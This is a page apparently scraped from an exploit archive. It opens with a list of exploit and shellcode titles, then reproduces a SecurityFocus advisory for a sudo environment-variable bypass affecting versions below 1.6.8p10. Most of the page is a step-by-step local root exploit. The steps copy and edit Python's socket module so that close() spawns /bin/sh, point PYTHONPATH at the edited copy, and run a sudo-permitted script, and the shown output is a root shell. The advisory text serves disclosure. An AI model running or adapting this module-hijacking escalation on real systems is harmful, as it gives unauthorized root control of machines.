880bbe402e
14991 changes to exploits/shellcodes HTC Touch - vCard over IP Denial of Service TeamSpeak 3.0.0-beta25 - Multiple Vulnerabilities PeerBlock 1.1 - Blue Screen of Death WS10 Data Server - SCADA Overflow (PoC) Symantec Endpoint Protection 12.1.4013 - Service Disabling Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow man-db 2.4.1 - 'open_cat_stream()' Local uid=man CDRecord's ReadCD - '$RSH exec()' SUID Shell Creation CDRecord's ReadCD - Local Privilege Escalation Anyburn 4.3 x86 - 'Copy disc to image file' Buffer Overflow (Unicode) (SEH) FreeBSD - Intel SYSRET Privilege Escalation (Metasploit) CCProxy 6.2 - 'ping' Remote Buffer Overflow Savant Web Server 3.1 - Remote Buffer Overflow (2) Litespeed Web Server 4.0.17 with PHP (FreeBSD) - Remote Overflow Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow QNAP TS-431 QTS < 4.2.2 - Remote Command Execution (Metasploit) Imperva SecureSphere 13.x - 'PWS' Command Injection (Metasploit) Drupal < 8.5.11 / < 8.6.10 - RESTful Web Services unserialize() Remote Command Execution (Metasploit) Oracle Weblogic Server - Deserialization Remote Command Execution (Patch Bypass) TeamCity < 9.0.2 - Disabled Registration Bypass OpenSSH SCP Client - Write Arbitrary Files Kados R10 GreenBee - Multiple SQL Injection WordPress Core 5.0 - Remote Code Execution phpBB 3.2.3 - Remote Code Execution Linux/x86 - Create File With Permission 7775 + exit() Shellcode (Generator) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes)
67 lines
No EOL
2.1 KiB
Python
Executable file
67 lines
No EOL
2.1 KiB
Python
Executable file
source: https://www.securityfocus.com/bid/16184/info
|
|
|
|
Sudo is prone to a security-bypass vulnerability that could lead to arbitrary code execution. This issue is due to an error in the application when handling environment variables.
|
|
|
|
A local attacker with the ability to run Python scripts can exploit this vulnerability to gain access to an interactive Python prompt. That attacker may then execute arbitrary code with elevated privileges, facilitating the complete compromise of affected computers.
|
|
|
|
An attacker must have the ability to run Python scripts through Sudo to exploit this vulnerability.
|
|
|
|
This issue is similar to BID 15394 (Sudo Perl Environment Variable Handling Security Bypass Vulnerability).
|
|
|
|
## Sudo local root escalation privilege ##
|
|
## vuln versions : sudo < 1.6.8p10
|
|
## adv : https://www.securityfocus.com/bid/16184
|
|
## by breno - breno at kalangolinux dot org
|
|
|
|
## You need sudo access execution for some python script ##
|
|
|
|
|
|
## First look sudoers file. User 'breno' can execute expl_python_sudo.py script
|
|
|
|
breno ~ $ -> cat /etc/sudoers
|
|
|
|
breno ALL=(ALL) /home/breno/expl_python_sudo.py
|
|
|
|
## Second, see our simple PoC python script
|
|
|
|
breno ~ $ -> cat /home/breno/expl_python_sudo.py
|
|
#!/usr/bin/python
|
|
import sys
|
|
import socket
|
|
import os
|
|
|
|
print "Python Sudo Exploit"
|
|
exp = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
|
|
exp.close()
|
|
breno ~ $ ->
|
|
|
|
## Sexy !! Do nothing :)
|
|
|
|
## Ok. What you need to do to get root is hijacking socket.py module , change close()
|
|
function to execute something and
|
|
## change PYTHONPTAH env.
|
|
|
|
breno ~ $ -> cp /usr/lib/python2.3/socket.py /home/breno/
|
|
|
|
breno ~ $ -> vi /home/breno/socket.py
|
|
...
|
|
import os
|
|
...
|
|
def close(self):
|
|
os.execl("/bin/sh","/bin/ah");
|
|
self._sock = _closedsocket()
|
|
self.send = self.recv = self.sendto = self.recvfrom = self._sock._dummy
|
|
close.__doc__ = _realsocket.close.__doc__
|
|
...
|
|
|
|
## Ok .. save it and export env
|
|
|
|
breno ~ $ -> export PYTHONPATH=/home/breno
|
|
|
|
## .. and execute script. Too much sexy !!!
|
|
|
|
breno ~ $ -> sudo /home/breno/expl_python_sudo.py
|
|
Python Sudo Exploit
|
|
root ~ # -> id
|
|
uid=0(root) gid=0(root) grupos=0(root)
|
|
root ~ # -> |